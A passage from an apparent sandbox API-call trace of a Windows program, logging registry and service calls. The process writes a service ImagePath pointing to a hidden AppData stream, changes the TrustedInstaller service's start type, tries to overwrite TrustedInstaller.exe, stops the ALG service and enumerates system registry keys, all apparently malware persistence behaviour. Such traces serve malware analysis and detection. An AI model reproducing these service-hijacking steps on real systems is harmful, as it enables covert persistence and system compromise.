cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\SFBHOP~1:bin", lpUsedDefaultChar=0x0) returned 46 [0227.216] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x21f16e8, cbData=0x2f) returned 0x6 [0227.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0227.216] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0227.216] OpenServiceW (hSCManager=0x803918, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x8038a0 [0227.275] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0227.300] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0227.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0227.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0227.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0227.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0227.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d338) returned 1 [0227.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0227.302] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0227.303] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0227.304] RegCloseKey (hKey=0x154) returned 0x0 [0227.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0227.305] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0227.306] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0227.306] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0227.306] GetLastError () returned 0x5 [0227.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0227.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0227.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0227.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0227.307] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0227.313] NtClose (Handle=0x154) returned 0x0 [0227.313] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0227.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0227.313] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0227.842] NtClose (Handle=0x154) returned 0x0 [0227.842] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0227.842] NtClose (Handle=0xc4) returned 0x0 [0227.842] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x2710) returned 0x0 [0228.259] NtClose (Handle=0x148) returned 0x0 [0228.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0228.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.259] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0228.259] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0228.259] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0228.259] GetLastError () returned 0x5 [0228.259] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0228.260] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0228.260] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0228.260] OpenServiceW (hSCManager=0x803918, lpServiceName="ALG", dwDesiredAccess=0x20) returned 0x803990 [0228.261] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0228.350] CloseServiceHandle (hSCObject=0x803990) returned 1 [0228.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0228.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0228.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0228.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0228.352] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.352] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1d18, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0228.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.353] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0228.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.353] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0228.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.353] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0228.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.354] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.354] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0228.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.354] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.354] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.354] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0228.354] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0228.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0228.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1d18, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0228.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0228.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.355] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.355] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.355] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0228.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1970, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0228.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.356] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.356] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0228.356] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.357] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0228.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0228.357] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0228.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0228.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0228.357] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.357] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.357] RegCloseKey (hKey=0xc4) returned 0x0 [0228.357] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.357] RtlAllocateHeap (HeapHandle=0x2520000, 